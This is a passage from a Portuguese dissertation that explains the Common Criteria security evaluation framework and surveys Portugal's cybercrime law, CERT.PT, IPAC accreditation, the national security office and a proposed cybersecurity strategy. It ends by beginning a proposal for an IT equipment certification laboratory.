O CC permite a comparabilidade entre resultados independentes de avaliações de segurança através da disponibilização de um conjunto de requisitos para as funcionalidades de segurança de produtos TI e para as medidas de garantia aplicadas a esses produtos, durante uma avaliação de segurança. O processo de avaliação estabelece um nível de confiança ao assegurar que as funcionalidades de segurança destes produtos TI e as medidas de garantia aplicadas obedecem a estes requisitos. Os resultados desta avaliação podem ajudar os consumidores finais a determinar se os produtos TI preenchem todos os requisitos de segurança por eles desejados [49].

.



56 .

Outro aspeto da flexibilidade do CC tem a ver com o facto das avaliações não se restringirem aos produtos TI mais “usuais”, e assim sendo, no contexto de uma avaliação, é utilizado o termo Alvo de Avaliação (Target of Evaluation - TOE) o qual pode ser hardware, software ou firmware. Podem existir casos em que o TOE seja um produto TI, apenas uma parte deste produto, um conjunto de produtos, uma tecnologia, entre outros [49].

Alguns exemplos de TOEs podem ser [49]:

Uma aplicação; Um sistema operativo; Uma aplicação em combinação com um sistema operativo; Uma aplicação em combinação com um sistema operativo e um posto de trabalho; Um circuito integrado de um smart-card20; O coprocessador criptográfico de um circuito integrado de um smart-card; Uma rede local, incluindo os seus terminais, servidores, equipamento de rede e software; Uma base de dados.

A principal orientação do CC é no sentido da proteção de bens segundo as propriedades de segurança confidencialidade, integridade e disponibilidade [49].

A versão mais recente é a CC 3.1 Release 4 de setembro de 2012 e consiste em 3 partes:

Part 1: Introduction and General Model. Neste documento são estabelecidos os conceitos gerais e princípios de avaliação da segurança em produtos de TI, especificando o modelo geral de avaliação fornecido pelas diferentes partes do CC, que em conjunto devem ser utilizadas como a base da avaliação das propriedades de segurança desses produtos. São também disponibilizados os conceitos base necessários para efetuar uma avaliação de produtos TI, como por exemplo o Alvo de Avaliação (Target of Evaluation). Também são fornecidas uma visão geral e uma descrição de todas as outras partes do CC. São também descritas as consequências e resultados de uma avaliação tal como orientações para a especificação das Metas de Segurança (ST - Security Targets) [49].

20 Um smart-card é um cartão, normalmente de plástico ou outro derivado semelhante, com um microchip embutido, o qual pode ser utilizado para diversos fins como efetuar chamadas telefónicas, cartão de crédito ou débito, autenticação, entre outros fins que possam utilizar os dados guardados nesse microchip.

.



57 .

Part 2: Security Functional Components. Os componentes funcionais de segurança definidos neste documento são a base para os Requisitos Funcionais de Segurança (Security Functional Requirements) definidos num Protection Profile – PP ou num Security Target - ST, ou seja, num Perfil de Proteção ou numa Meta de Segurança respetivamente. Estes requisitos descrevem o comportamento de segurança esperado de um TOE e devem ir de encontro aos objetivos de segurança expressos num PP ou num ST. Os componentes funcionais de segurança expressam requisitos de segurança destinados a combater ameaças no ambiente de operação do TOE e/ou satisfazer quaisquer políticas de segurança identificadas dentro de uma organização [50]. Part 3: Security Assurance Components. Os componentes de garantia de segurança definidos neste documento são a base para os Requisitos de Garantia de Segurança (Security Assurance Requirements) definidos num PP ou num ST. Estes requisitos estabelecem um modo padrão de expressar os requisitos de garantia para um TOE. Neste documento também são catalogados um conjunto de componentes de garantia, famílias e classes. Também são definidos os critérios de avaliação dos PP e dos ST e são apresentados 7 níveis de garantia pré-definidos designados de Evaluation Assurance Levels - EALs [51].

Como suporte às 3 Partes que constituem o CC foi desenvolvido outro documento designado de Common Methodology for Information Technology Security Evaluation – CEM, que fornece a metodologia necessária à avaliação de segurança de TI utilizando o CC como base. O CEM destina-se principalmente aos avaliadores que aplicam o Standard CC e aos certificadores que irão confirmar as ações dos avaliadores, no entanto, todos os interessados em Segurança de Sistemas TI podem utilizar livremente estes Documentos [48].

O nível de avaliação de garantia de segurança (EAL) de um produto TI ou sistema é uma escala que varia entre EAL1 a EAL7. Para alcançar um determinado nível nesta escala, o produto ou sistema TI deve obedecer a requisitos de segurança e garantia específicos, tais como: documentação de planeamento, desenho e implementação, análise do desenho, testes funcionais, testes de penetração. O nível EAL atribuído a um sistema certificado indica que esse sistema completou e cumpre todos os requisitos especificados para esse nível. Um maior nível EAL deverá significar que a avaliação realizada satisfaz um maior e mais rigoroso conjunto de requisitos de garantia da segurança.

A Tabela que se segue mostra de forma estruturada as Classes e os Componentes de Garantia de uma avaliação do tipo EAL5.

.



58 .

Tabela 3 - Tabela representativa do EAL5 do Common Criteria

O CC disponibiliza uma lista de produtos e sistemas certificados, que incluem dispositivos biométricos, dispositivos de proteção de dados, bases de dados, dispositivos multifunções, sistemas e dispositivos de rede, sistemas operativos, entre outros. Disponibiliza também uma lista de produtos certificados por níveis EAL e a sua data de certificação e ainda uma lista de países e o seu número de níveis EAL. Estas informações podem ser consultadas no Anexo 1 – Lista de Produtos Certificados pelo Common Criteria – Estatísticas.

Como exemplo de uma avaliação de um dispositivo de rede, apresenta-se um switch, mais precisamente o Cisco Catalyst 6500 Series Switches running IOS 15.0(1)SY1. Em primeiro lugar é preparado pela Cisco um Documento designado de Cisco Catalyst 6500 Series Switches Security Target, ou seja, a Meta de Segurança, o qual contém as especificações do alvo a avaliar, neste caso o switch.

A Meta de Segurança define uma série de suposições sobre aspetos do meio em que ele se encontra ou vai encontrar, uma lista de ameaças que o produto tem a intenção de contrariar, um conjunto de objetivos de segurança, um conjunto de requisitos de

.



59 .

segurança, e as funções de segurança TI fornecidas pelo Alvo de Avaliação que satisfaçam o conjunto de exigências [52].

Como resultado à Meta de Segurança elaborada pela Cisco é depois elaborado outro Documento designado Cisco Catalyst 6500 Series Switches Validation Report que é o resultado da avaliação, a qual foi efetuada pelo Science Applications International Corporation (SAIC) Common Criteria Testing Laboratory (CCTL) e validada por uma equipa da Aerospace Corporation, ambas em Columbia, Maryland, Estados Unidos. Este Relatório documenta a Avaliação efetuada ao switch, apresentando os resultados, a sua justificação e conformidade. Esta Avaliação determina que o produto em causa está em conformidade com as Partes 2 e 3 do Common Criteria e atende os requisitos de garantia de nível EAL2 [53].

O CC é portanto uma ferramenta integrada (framework) que permite aos utilizadores de sistemas TI, particulares, empresariais, governamentais, ou outros, especificar os seus requisitos funcionais e de garantia de segurança para que depois os fabricantes possam implementar esses atributos de segurança. Estes requisitos serão testados e avaliados por laboratórios para determinar se cumprem os requisitos especificados. Existem vários laboratórios devidamente licenciados espalhados por todo o Mundo (Austrália, Alemanha, Canadá, Espanha, Estados Unidos, França, Coreia do Sul, Holanda, Itália, Japão, Malásia, Noruega, Reino Unido, Suécia, Turquia) que efetuam avaliações segundo os critérios CC [47].

O CC é atualmente a framework mais utilizada a nível mundial no que diz respeito à certificação de segurança, no que toca a requisitos funcionais e de garantia, de equipamentos TI, e servirá de base a alguns aspetos do sistema de certificação proposto nesta Dissertação.

.



60 .

.


61 .

Capítulo 4 Situação Portuguesa

Este Capítulo enuncia as principais e mais recentes iniciativas, normas e documentação relacionadas com a Segurança da Informação e de Equipamento Informático levadas a cabo a nível nacional.

.


Capítulo 4 – Situação Portuguesa

62 .

4.1. Enquadramento

Depois de efetuado um enquadramento da Dissertação, e vista tanto a evolução histórica como as principais e mais atuais iniciativas, normas e documentação ao nível dos aspetos relacionados com a Segurança da Informação e de Equipamento Informático a nível Internacional, neste Capítulo pretendem-se abordar e descrever essas temáticas a nível Nacional.

4.2. Lei 109/2009 – Lei do Cibercrime

A Lei Nº109/2009 de 15 de setembro aprova a Lei do Cibercrime que estabelece as disposições penais materiais e processuais, bem como as disposições relativas à cooperação internacional em matéria penal, relativas ao domínio do cibercrime e da recolha de prova em suporte eletrónico, transpondo para a ordem jurídica interna a Decisão Quadro n.º 2005/222/JAI, do Conselho, de 24 de Fevereiro, relativa a ataques contra sistemas de informação, e adaptando o direito interno à Convenção sobre Cibercrime do Conselho da Europa [54].

Este Diploma apresenta algumas definições importantes de modo a enquadrar a sua área de atuação, tais como sistema informático, dados informáticos, fornecedor de serviços, entre outras [54].

Como já foi referido, são enunciadas nesta Lei disposições penais materiais onde se descrevem determinadas ações ou meras tentativas puníveis com penas de prisão, nomeadamente a de falsidade informática, dano relativo a programas ou outros dados informáticos, sabotagem informática, acesso ilegítimo, interceção ilegítima, reprodução ilegítima de programa protegido, responsabilidade penal das pessoas coletivas e entidades equiparadas e perda de bens [54].

Também se encontram enunciadas disposições processuais aplicadas a processos relativos a crimes previstos na própria Lei, cometidos por meio de um sistema informático ou que em relação aos quais seja necessário proceder à recolha de prova em suporte eletrónico, nomeadamente sobre a preservação expedita de dados, revelação expedita de dados de tráfego, injunção para apresentação ou concessão do acesso a dados, pesquisa de dados informáticos, apreensão de dados informáticos, apreensão de correio eletrónico e registos de comunicações de natureza semelhante, interceção de comunicações e ações encobertas [54].

Figura 21 - Procuradoria Geral da República (Fonte: http://cibercrime.pgr.pt/index.html)

.



63 .

Outro ponto explícito neste Diploma é o da cooperação internacional no qual é referido que as autoridades nacionais competentes devem cooperar com as autoridades estrangeiras competentes para efeitos de investigações ou procedimentos respeitantes a crimes relacionados com sistemas ou dados informáticos, bem como para efeitos de recolha de prova em suporte eletrónico de um crime, de acordo com as normas sobre transferência de dados pessoais previstas na Lei n.º 67/98, de 26 de outubro. São descritos neste Capítulo procedimentos a ter em conta no contexto da cooperação internacional tais como o ponto de contacto permanente para a cooperação internacional, preservação e revelação expeditas de dados informáticos em cooperação internacional, motivos de recusa, acesso a dados informáticos em cooperação internacional, acesso transfronteiriço a dados informáticos armazenados quando publicamente disponíveis ou com consentimento e interceção de comunicações em cooperação internacional [54].

Este Diploma tem ainda como disposições finais e transitórias, matérias como a aplicação no espaço da lei penal portuguesa e competência dos tribunais portugueses, regime geral aplicável, competência da Polícia Judiciária para a cooperação internacional, proteção de dados pessoais, norma revogatória e a entrada em vigor [54].

A Lei Nº109/2009 de 15 de setembro, Lei do Cibercrime, é assim um Diploma destinado a fornecer disposições para uma base legal no que concerne a questões relacionadas com uma criminalidade passível de ser executada sobre meios eletrónicos nomeadamente redes informáticas, tais como a Internet comumente designado de Ciberespaço.

Existem mais alguns Diplomas relacionados com estas questões tais como a Proteção Jurídica de Programas de Computador - DL n.º 252/94, de 20 de outubro, Lei da Proteção de Dados Pessoais - Lei n.º 67/98, de 26 de outubro, Lei das Comunicações Eletrónicas - Lei n.º 5/2004, de 10 de Fevereiro, Convenção sobre o Cibercrime - Resolução da AR n.º 88/2009, de 15 de setembro, Protocolo Adicional à Convenção sobre o Cibercrime - Resolução n.º 91/2009, de 15 de setembro.

.



64 .

4.3. Serviço de Resposta a Incidentes de Segurança Informática – CERT.PT

O CERT.PT tem como missão contribuir para o esforço de Cibersegurança Nacional nomeadamente no tratamento e coordenação da resposta a incidentes, na produção de alertas e recomendações de segurança e na promoção de uma cultura de segurança em Portugal. Para esse efeito [55]:

Presta apoio a utilizadores de sistemas informáticos na resolução de incidentes de segurança, aconselhando procedimentos, analisando artefactos e coordenando ações com as entidades envolvidas;

Reúne e dissemina informação relacionada com novas vulnerabilidades de segurança e produz recomendações referentes a potenciais riscos de segurança e atividades maliciosas em curso no sentido de formar uma consciência de segurança junto dos utilizadores de sistemas informáticos;

Promove a criação de novos CSIRT21 - Computer Security Incident Response Team em Portugal e a cooperação entre estes.

O CERT.PT responde a incidentes de segurança informática no contexto da comunidade utilizadora da Rede Ciência, Tecnologia e Sociedade - RCTS Adicionalmente presta o serviço de coordenação da resposta a incidentes dentro do território nacional e em particular para os CSIRT com os quais tem acordos celebrados [55].

Da informação disponibilizada pelo CERT.PT pode ter-se acesso a uma lista atualizada de alertas de vulnerabilidades conhecidas, com a respetiva descrição, qual o Sistema Operativo e Aplicações que ataca, quais as recomendações para que se possa resolver, e a referência de onde foi retirada toda essa informação.

Também é disponibilizado um conjunto de ligações para página web com informação sobre segurança em TI, como por exemplo sobre vulnerabilidades e patchs, vírus, worms, firewall, equipas de resposta a incidentes, entre outros.

21 O CSIRT - Computer Security Incident Response Team é grupo técnico responsável por resolver incidentes relacionados com a segurança em sistemas informáticos. Este serviço pode ser prestado por uma empresa especializada ou uma unidade da própria empresa.

Figura 22 - Serviço de Resposta a Incidentes de Segurança Informática (Fonte: http://www.cert.pt/)

.



65 .

Outra informação a que também se tem acesso é uma lista de ferramentas que podem ser úteis para determinados fins ligados com a segurança em TI, como por exemplo ferramentas para avaliação de vulnerabilidades, análise forense, análise de tráfego, deteção e intrusão, entre outras.

É também disponibilizada uma lista com recomendações de segurança a ter em conta em ambientes de TI, como por exemplo, cuidados a ter em redes sociais, informação e legislação sobre redes peer-2-peer, privacidade no e-mail, recomendações de segurança em redes sem fios, informação sobre boas práticas nas palavras-passe, cuidados a ter na navegação na Internet, cuidados a ter e informação sobre phishing, entre outras.

Tendo em conta a Missão e a as Atribuições do CERT.PT, este apoia os utilizadores de sistemas informáticos na resolução de problemas relacionados com a Cibersegurança, nomeadamente através da disponibilização de informação relacionada com vulnerabilidades, no entanto as mesmas não especificam onde e como poderá ser efetuada uma avaliação e certificação de idoneidade de equipamento informático.

4.4. Instituto Português de Acreditação – IPAC

O Instituto Português de Acreditação, I.P. - IPAC é, o organismo que em Portugal responde ao Regulamento CE n.º765/2008 do Parlamento Europeu e do Conselho, o qual contém diversas disposições quer para o País quer para o IPAC, mais concretamente estabelece os requisitos de acreditação e fiscalização do mercado relativos à comercialização de produtos e também contém as regras relativas à organização e ao funcionamento da acreditação de organismos de avaliação da conformidade quer no âmbito regulamentar quer no âmbito voluntário. Por sua vez, existe o Decreto-Lei n.º 23/2011 que visa assegurar a aplicação efetiva no ordenamento jurídico nacional do disposto nesse [56].

O IPAC atua sob a supervisão do Ministro responsável pela Economia, embora a sua área de intervenção abranja praticamente todos os setores de governação e tem por missão prestar serviços de acreditação, reconhecimento de competências técnicas dos organismos de avaliação da conformidade em Portugal. O IPAC atua assim como agente regulador dos organismos de avaliação da conformidade nos quais se inserem os Laboratórios de testes e avaliações de produtos TI [57].

De modo a garantir imparcialidade na sua atuação, o IPAC não oferece nem presta atividades de avaliação da conformidade, serviços de consultoria ou assistência

Figura 23 - Instituto Português de Acreditação, I.P. (Fonte: http://www.ipac.pt/)

.



66 .

técnica sobre as atividades de acreditação, não tendo assim qualquer participação económica ou de parceria com os Laboratórios que acredita.

Para monitorizar a sua imparcialidade, obter aconselhamento estratégico e gerir os eventuais recursos sobre as suas decisões de acreditação, o IPAC tem uma Comissão Consultiva com representantes das partes interessadas [57].

O IPAC tem como política adotar como critérios de acreditação os estabelecidos em normas harmonizadas internacionais, recorrendo complementarmente e quando necessário a outros documentos produzidos no seio do CEN/CENELEC/ETSI, ISO/IEC/ITS, European co-operation for Accreditation - EA, International Laboratory Accreditation Cooperation - ILAC e International Accreditation Forum – IAF. Caso estas entidades não disponham dos documentos considerados necessários, o IPAC pode elaborar ou adotar documentos envolvendo as partes interessadas. Adicionalmente, podem ainda ser usados outros documentos, tais como diplomas legais ou documentos relativos a esquemas sectoriais, entendendo-se estes como os que contenham requisitos adicionais ou particulares para o processo de acreditação e/ou para os organismos de avaliação da conformidade [57].

O IPAC é membro da infraestrutura europeia de acreditação, EA, bem como das estruturas mundiais de acreditação, a ILAC e o IAF e é signatário de todos os Acordos de Reconhecimento Mútuos destes organismos [56].

A EA é uma associação que engloba os organismos nacionais de acreditação no espaço europeu, que sejam reconhecidos oficialmente pelos seus Governos, que realizam serviços de avaliação, de acordo com normas internacionais, tais como certificação, verificação, inspeção, teste e calibração de equipamentos, também conhecidos como serviços de avaliação da conformidade. A EA existe portanto para coordenar e liderar a infraestrutura europeia de acreditação, para que os resultados dos serviços de avaliação de conformidade num país possam ser aceites pelos regulamentos e os mercados dos outros países sem que sejam necessários mais exames, para benefício da Comunidade Europeia e da economia global [58].

O ILAC é um organismo que visa uma cooperação e reconhecimento internacional entre Laboratórios e Organismos de Acreditação, formada há mais de 30 anos, e com o objetivo de ajudar a remover barreiras técnicas ao comércio internacional [59].

O IAF é a Associação Mundial de Organismos de Acreditação de Avaliação da Conformidade e outros Organismos interessados na Avaliação da Conformidade nos campos de sistemas de gestão, produtos, serviços, pessoal e outros programas similares de Avaliação da Conformidade. A sua principal função é desenvolver um programa único mundial de Avaliação da Conformidade que reduza riscos aos

.



67 .

mercados e consumidores ao garantir que podem confiar em Certificados acreditados, assegurando a competência e imparcialidade dos organismos de acreditação [60].

Estes três organismos cumprem com as normas definidas no Standard ISO / IEC 17011 - Conformity assessment - General requirements for accreditation bodies accrediting conformity assessment bodies, que especifica os requisitos gerais para os organismos de acreditação avaliarem e acreditarem organismos de avaliação da conformidade, como por exemplo Laboratórios de testes. Desta forma, também facilita o processo de reconhecimento mútuo entre Laboratórios.

Os serviços de acreditação prestados pelo IPAC estão descritos no Regulamento Geral de Acreditação - DRC001 e Procedimentos conexos, e os signatários do acordo de reconhecimento mútuo da EA constam do documento EA-INF/03 [56].

A Figura que se segue ilustra de uma forma resumida, as características e principais funções do IPAC.

Figura 24 - Características do Instituto Português de Acreditação, I.P. (IPAC)

(Fonte: http://www.ipac.pt/ipac/funcao.asp)

O sistema nacional de acreditação gerido pelo IPAC consiste num conjunto de regras e procedimentos usados para o reconhecimento da competência técnica de entidades para efetuarem atividades de avaliação da conformidade especificadas. Este sistema abrange os serviços de acreditação ilustrados na Tabela que se segue, sendo o Regulamento Geral de Acreditação aplicado conjuntamente com um Procedimento de Acreditação complementar, que deve ser consultado e cumprido pelos candidatos e entidades acreditadas [57].

.



68 .

No caso dos Laboratório de testes e avaliações, será aplicado o Procedimento para Acreditação de Laboratório – DRC005, como ilustra a Tabela que se segue.

Tipo de Entidade (Domínio de Acreditação)

Atividade de Avaliação da Conformidade (Esquema de Acreditação)

Procedimento de Acreditação

complementar

Laboratórios Calibrações Ensaios Exames Clínicos

DRC005

Organismos de Certificação Certificação de Produtos Certificação de Sistemas de Gestão Certificação de Pessoas

DRC006

Organismos de Inspeção Inspeção de veículos Inspeção sectorial DRC007

Verificadores Verificação Ambiental Verificação de Gases de Efeito de Estufa

DRC008 DRC009

Tabela 4 - Sistema Nacional de Acreditação do IPAC (Fonte: http://www.ipac.pt/ipac/funcao.asp)

O Procedimento para Acreditação de Laboratório – DRC005 tem a sua última versão em 10-04-2012, e será assim o documento a utilizar, conjuntamente com o DRC001, para o processo de acreditação das entidades que realizem ensaios, calibrações e exames clínicos, nos quais se enquadram os Laboratórios de testes e avaliações de equipamentos TI.

As disposições contidas no DRC005 aplicam-se a todos os laboratórios acreditados ou que apresentem a sua candidatura ao IPAC. Dado que cada entidade é única, e não podem ser previstas todas as circunstâncias, podem haver desvios excecionais e justificados a este documento, o qual será depois atualizado, se necessário. Ressalvam-se destas orientações as situações previstas ou abrangidas por regulamentação nacional ou internacional, ou por esquemas sectoriais reconhecidos pela EA ou ILAC [61].

Os critérios de acreditação são os requisitos que os Laboratórios devem cumprir para serem acreditados, os quais podem ser de caráter geral (aplicáveis a todas as acreditações) e de caráter específico (conforme cada tipo de acreditação), complementares aos gerais [61].

Todos os Laboratórios devem cumprir os requisitos e obrigações gerais definidos e referenciados pelo DRC001 mas também devem cumprir com os requisitos estabelecidos por documentos EA ou ILAC se aplicáveis ao seu âmbito de atuação, bem como eventuais requisitos específicos de esquemas sectoriais proprietários ou regulamentares [61].

.



69 .

No caso dos Laboratório de testes e avaliações, será aplicada a ISO/IES 17025 com o apoio do Guia de Aplicação OGC001, com ilustra a Tabela que se segue.

Esquema de Acreditação Referencial Guia de Aplicação

Laboratórios de Ensaio ISO/IEC 17025 OGC001

Laboratórios de Calibração

Laboratórios Clínicos ISO 15189 OGC004

Tabela 5 - Critérios Específicos a cumprir para acreditação pelo IPAC (Fonte: http://www.ipac.pt/ipac/funcao.asp)

O IPAC é portanto, como já foi referido, o organismo que em Portugal efetua a acreditação de Laboratórios que possam efetuar testes e avaliações, e no caso concreto para o interesse desta Dissertação, de equipamento informático. No entanto o IPAC não oferece nem presta atividades de avaliação da conformidade, serviços de consultoria ou assistência técnica sobre as atividades de acreditação, nomeadamente dos testes efetuados no Laboratório, não tendo assim qualquer participação económica ou de parceria com os mesmos.

4.5. Gabinete Nacional de Segurança - GNS

Em Portugal, foi publicado em 16 de Janeiro de 2012 o Decreto-Lei Nº3 que foca aspetos importantes ao nível do Gabinete Nacional de Segurança - GNS, e também introduz uma adaptação das atribuições aos conceitos usados na área da Segurança da Informação Classificada.

No âmbito do Compromisso Eficiência, o XIX Governo Constitucional determinou as linhas gerais do Plano de Redução e Melhoria da Administração Central - PREMAC. O principal objetivo deste Plano passa por dar impulso ao processo de preparação das leis orgânicas dos ministérios e dos respetivos serviços. A importância de reformar a Administração Pública no sentido de a tornar mais eficiente e racional na utilização dos recursos públicos e por outro lado em reduzir a despesa pública são atualmente fatores fulcrais. Numa primeira fase do PREMAC foram aprovados alguns diplomas correspondentes às diversas leis orgânicas dos vários ministérios, sendo o GNS um dos serviços alvo de reestruturação, assumindo autonomia como serviço central da administração direta do Estado no âmbito da Presidência do Conselho de Ministros - PCM [62].

Figura 25 - Gabinete Nacional de Segurança (Fonte: http://www.gns.gov.pt)

.



70 .

Assim, o GNS tem como missão garantir a segurança da informação classificada no âmbito nacional e das organizações internacionais de que Portugal faz parte, e exercer a função de autoridade de credenciação de pessoas e empresas para o acesso e manuseamento dessa informação. Tem também a missão de autoridade credenciadora e de fiscalização de entidades que atuem no âmbito do Sistema de Certificação Eletrónica do Estado - Infraestrutura de Chaves Públicas - SCEE [62] [63].

O GNS também tem como atribuições, entre outras [63]:

Garantir a articulação e a harmonização dos procedimentos relativos à segurança da informação classificada em todos os serviços, organismos e entidades, públicos ou privados, em especial, os da Administração Pública, das forças armadas e das forças e serviços de segurança; Exercer em Portugal os poderes públicos cometidos às autoridades nacionais de segurança, nomeadamente, nas áreas da credenciação de segurança, segurança das comunicações, distribuição e outras, nos termos das normas aprovadas pelas entidades internacionais competentes; Proceder ao registo, distribuição e controlo da informação classificada, bem como de todos os procedimentos inerentes à sua administração, de índole nacional ou confiadas à responsabilidade do Estado Português, garantindo que o material cripto é objeto de medidas específicas de segurança e administrado por canais diferenciados; Fiscalizar e inspecionar os órgãos de segurança que detenham, a qualquer título e em qualquer suporte, informação classificada sob responsabilidade portuguesa, dentro e fora do território nacional; Avaliar, acreditar e certificar a segurança de produtos e sistemas de comunicações, de informática e de tecnologias de informação que sirvam de suporte ao tratamento, arquivo e transmissão de informação classificada e proceder à realização de limpezas eletrónicas; Promover o estudo, a investigação e a difusão das normas e procedimentos de segurança aplicáveis à proteção e salvaguarda da informação classificada, propondo a doutrina a adotar por Portugal e a formação de pessoal especializado nesta área da segurança; Credenciar entidades públicas e privadas para o exercício de atividades industriais, tecnológicas e de investigação, quando tal seja exigido por disposição legal ou regulamentar.

É também referido no Decreto-Lei Nº3 que o GNS deve avaliar, acreditar e certificar a segurança de produtos e sistemas de comunicações, de informática e de tecnologias de informação que sirvam de suporte ao tratamento, arquivo e transmissão de informação classificada e proceder à realização de limpezas eletrónicas. No entanto, não é especificado onde e em que condições serão efetuadas estas avaliações [62].

.



71 .

4.6. Proposta de Estratégia Nacional de Cibersegurança

Existe por parte do GNS a proposta para uma Estratégia Nacional de Cibersegurança, que foca aspetos pertinentes nesta área. É certo e já referido que a área da Cibersegurança deve ser encarada como fulcral por qualquer Governo. Portugal não é exceção no que toca a Ciberataques a infraestruturas críticas nacionais, sendo que este tipo de ameaça é crescente. Desta forma, é referida nesta Estratégia a necessidade do nosso País levantar uma Estrutura Nacional de Cibersegurança, composta por uma capacidade de nível essencialmente operacional, o Centro Nacional de Cibersegurança e uma capacidade de nível estratégico, um Conselho de Cibersegurança capaz de garantir uma eficaz gestão de crises [63] [64].

Esta Estrutura Nacional de Cibersegurança deverá também ser capaz de coordenar a resposta operacional a Ciberataques, desenvolver sinergias nacionais e potenciar a cooperação internacional neste domínio. A necessidade de proteger as áreas que materializam a Soberania Nacional, assegurando a autonomia política e estratégica do País, tem vindo assim a impor a Cibersegurança como uma prioridade nacional. Deste modo é importante definir uma visão e um enquadramento estratégico, lógico e coerente, que permita alicerçar a Estrutura Nacional de Cibersegurança que se pretende implementar [64].

A finalidade a atingir pela Estratégia Nacional de Cibersegurança, constituindo o fundamento da visão estratégica que se pretende estruturar neste domínio, decorre do nível de ambição que for definido pela orientação política. O Estado deve estimular uma utilização livre, segura e eficiente do Ciberespaço por parte de todos os cidadãos. O Estado deve também garantir a proteção e defesa da sua infraestrutura de Informação Crítica. Estas duas premissas devem ser alcançadas através da Confidencialidade, a Integridade e a Disponibilidade assegurando dessa forma uma Garantia da Informação. Esta Garantia requer tanto a implementação de processos de Segurança da Informação como de mecanismos de Cibersegurança e Ciberdefesa [64].

Assim, segundo esta Proposta, Portugal deverá procurar atingir os seguintes três objetivos principais [64]:

Garantir a Segurança no Ciberespaço: as ameaças são hoje em dia dirigidas simultaneamente aos serviços públicos, privados, às empresas e aos cidadãos. A Estratégia propõe a existência de campanhas de informação para tentar minorar e precaver estas ameaças. Também ao nível da legislação, é proposta a implementação e/ou o aperfeiçoamento de diplomas que promovam a melhoria da Cibersegurança, a luta contra o Cibercrime e a promoção da cooperação judicial com organismos internacionais. De modo a garantir a segurança no Ciberespaço, foram propostas as seguintes linhas de ação estratégica:

.



72 .

o Analisar o ambiente de informação, através de uma infraestrutura de “sensores”, de modo a antecipar eventuais ataques e tomar as decisões apropriadas, através do acompanhamento dos últimos desenvolvimentos tecnológicos;

o Alertar e apoiar as potenciais vítimas; o Desenvolver a capacidade de detetar e bloquear ataques aos Sistemas de

Informação da nossa nação. Estes sistemas deverão permitir não só alertar as entidades relevantes, como também ajudar a entender a natureza dos ataques e a desenvolver contramedidas;

o O Centro Nacional de Cibersegurança deve estar equipado com meios técnicos e humanos capazes de gerir toda a informação, quer recolhida pelos vários sensores quer fornecida por parceiros;

o O Estado deverá ser capaz de impor medidas extremas de um modo rápido, como por exemplo o isolamento de redes em caso de ataque;

o Estimular e potenciar as capacidades científicas, técnicas, industriais e humanas do País de forma a manter a independência nacional neste domínio;

o Desenvolver iniciativas de cooperação internacional em áreas ligadas à Segurança de Sistemas de Informação, Cibercrime, Ciberdefesa, e luta contra o terrorismo de modo a proteger melhor os Sistemas de Informação Nacionais;

Fortalecer a Cibersegurança das infraestruturas críticas nacionais: Sendo que a sociedade está cada vez mais dependente dos Sistemas de Informação e particularmente da Internet, é expectável que os ataques a estes sistemas tenham graves consequências humanas e principalmente económicas. O Estado português deve trabalhar no sentido de garantir e melhoras a segurança das infraestruturas críticas nacionais. Para fortalecer a Cibersegurança dessas infraestruturas foram identificadas nesta Proposta as seguintes linhas de ação estratégicas:

o Reforçar a segurança das TI nas Redes do Governo e da Administração Pública; o Reforçar a segurança dos Sistemas de Informação do Estado e dos operadores

das infraestruturas críticas para assegurar uma maior resiliência nacional.

Defender os interesses Nacionais e a Liberdade de Ação no Ciberespaço: segundo esta Proposta, devem existir meios e canais de comunicação entre o Governo e as Entidades relacionadas com a gestão de crises, que devem conseguir um grau de disponibilidade e confidencialidade elevados. Estes requisitos devem ser garantidos através de tecnologias de segurança desenvolvidas quer nas Universidades quer em Centros de Investigação. São também propostas algumas linhas de ação estratégicas de modo a defender os interesses nacionais e liberdade de ação no Ciberespaço:

.



73 .

o Reforçar iniciativas nacionais estruturantes da “Sociedade de Informação e do Conhecimento”;

o Proteger e defender os mecanismos de Governação Eletrónica do Estado; o Levantar a Estrutura Nacional de Cibersegurança e Ciberdefesa; o Estabelecer mecanismos de cooperação nacional e internacional, neste âmbito.

Esta Estratégia não se encontra ainda aprovada em Portugal, tendo-se mesmo nos últimos dois anos assistido a uma série de “avanços e recuos”. Existem por parte de alguns países Estratégias semelhantes, algumas já implementadas, como é o caso da Alemanha, Austrália, Canadá, Estónia, França, Holanda, Reino Unido e República Checa.

No que concerne a esta Dissertação, é de realçar o facto de na Proposta existir a referência ao desenvolvimento de tecnologias de segurança por parte das Universidades e Centros de Investigação nacionais de modo a alcançar os objetivos da Estratégia Nacional de Cibersegurança. É um dos objetivos desta Dissertação contribuir para esse desenvolvimento.

.



74 .

.


75 .

Capítulo 5 Proposta de Laboratório de Certificação de Equipamento Informático

Este Capítulo propõe as especificações necessárias para um Laboratório de Certificação de Equipamento Informático, tais como Requisitos para a sua Acreditação, Requisitos de Gestão, Requisitos Técnicos, Equipamentos e Aplicações necessárias ao seu funcionamento.

.


Capítulo 5 – Proposta de Laboratório de Certificação de Equipamento Informático

76 .

5.1 Enquadramento

De modo a que se possa aferir uma Certificação de Idoneidade a um Equipamento Informático, este deve em primeiro lugar ser testado e avaliado num ambiente controlado, nomeadamente num Laboratório de Certificação de Equipamento Informático. Os testes efetuados servirão para avaliar a conformidade do equipamento segundo determinados requisitos de segurança.

Um local onde se efetuem testes e avaliações de equipamento informático deve ser um ambiente que combine segurança com capacidade técnica na sua área. Assim, deve utilizar métodos e políticas de segurança física e aplicacional, de forma a garantir que no seu interior existam medidas de segurança para infraestruturas, equipamentos, aplicações e pessoas.

O Laboratório proposto terá que respeitar determinados requisitos, como sejam, requisitos de gestão, que tenham a ver com a sua estrutura e funcionamento em geral, colaboradores, clientes, entre outros, requisitos de segurança, que tenham a ver com o cumprimento de políticas e procedimentos de segurança, e também requisitos técnicos, que tenham a ver com tipos de equipamentos que são testados, tipo de ferramentas que se utilizam, entre outros.

